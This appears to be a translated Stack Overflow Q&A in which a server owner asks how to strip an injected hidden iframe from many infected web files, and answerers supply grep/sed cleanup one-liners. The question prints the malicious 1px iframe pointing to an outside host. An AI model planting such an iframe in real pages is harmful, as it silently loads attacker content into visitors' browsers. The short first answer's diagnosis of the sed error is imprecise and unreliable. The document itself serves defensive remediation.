【问题标题】:Looking for script to delete iframe malware from linux server寻找从 linux 服务器中删除 iframe 恶意软件的脚本
【发布时间】:2013-05-14 15:35:12
【问题描述】:

我正在寻找一个脚本来从我的 linux 服务器中删除以下 iframe 恶意软件:

    <iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>

它感染了我服务器上不同网站上的数百个文件。我试过了

    grep -rl ishigo.sytes.net * | sed 's/ /\ /g' | xargs sed -i 's/<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>//g'

但它只是输出:

    sed: -e expression #1, char 49: unknown option to `s'

感谢您的帮助:)

干杯 深

【问题讨论】:

    标签: iframe malware


    【解决方案1】:

    在 sed 正则表达式中取消转义 url 中的反斜杠。

    【讨论】:

      【解决方案2】:

      这应该是一个更通用的解决方案。实际上,恶意软件所做的是寻找&lt;/body&gt; 并在此之前注入iframe。因此,您可以在 &lt;/body&gt; 之前查找 iframe 并将其替换为 &lt;/body&gt;

      # grep recursively for text
      # escape all spaces in file names
      # global search and replace with just body tag
      grep -Rl "</iframe></body>" * | sed 's/ /\ /g' | xargs sed -i 's/<iframe .*><\/iframe><\/body>/<\/body>/g'
      

      我发现这个other question on renaming the malware files 对于通过在末尾重命名扩展名.hacked 来快速删除所有受损文件也很有用。然后你可以修复黑客并最终删除.hacked

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2014-05-19
        相关资源
        最近更新 更多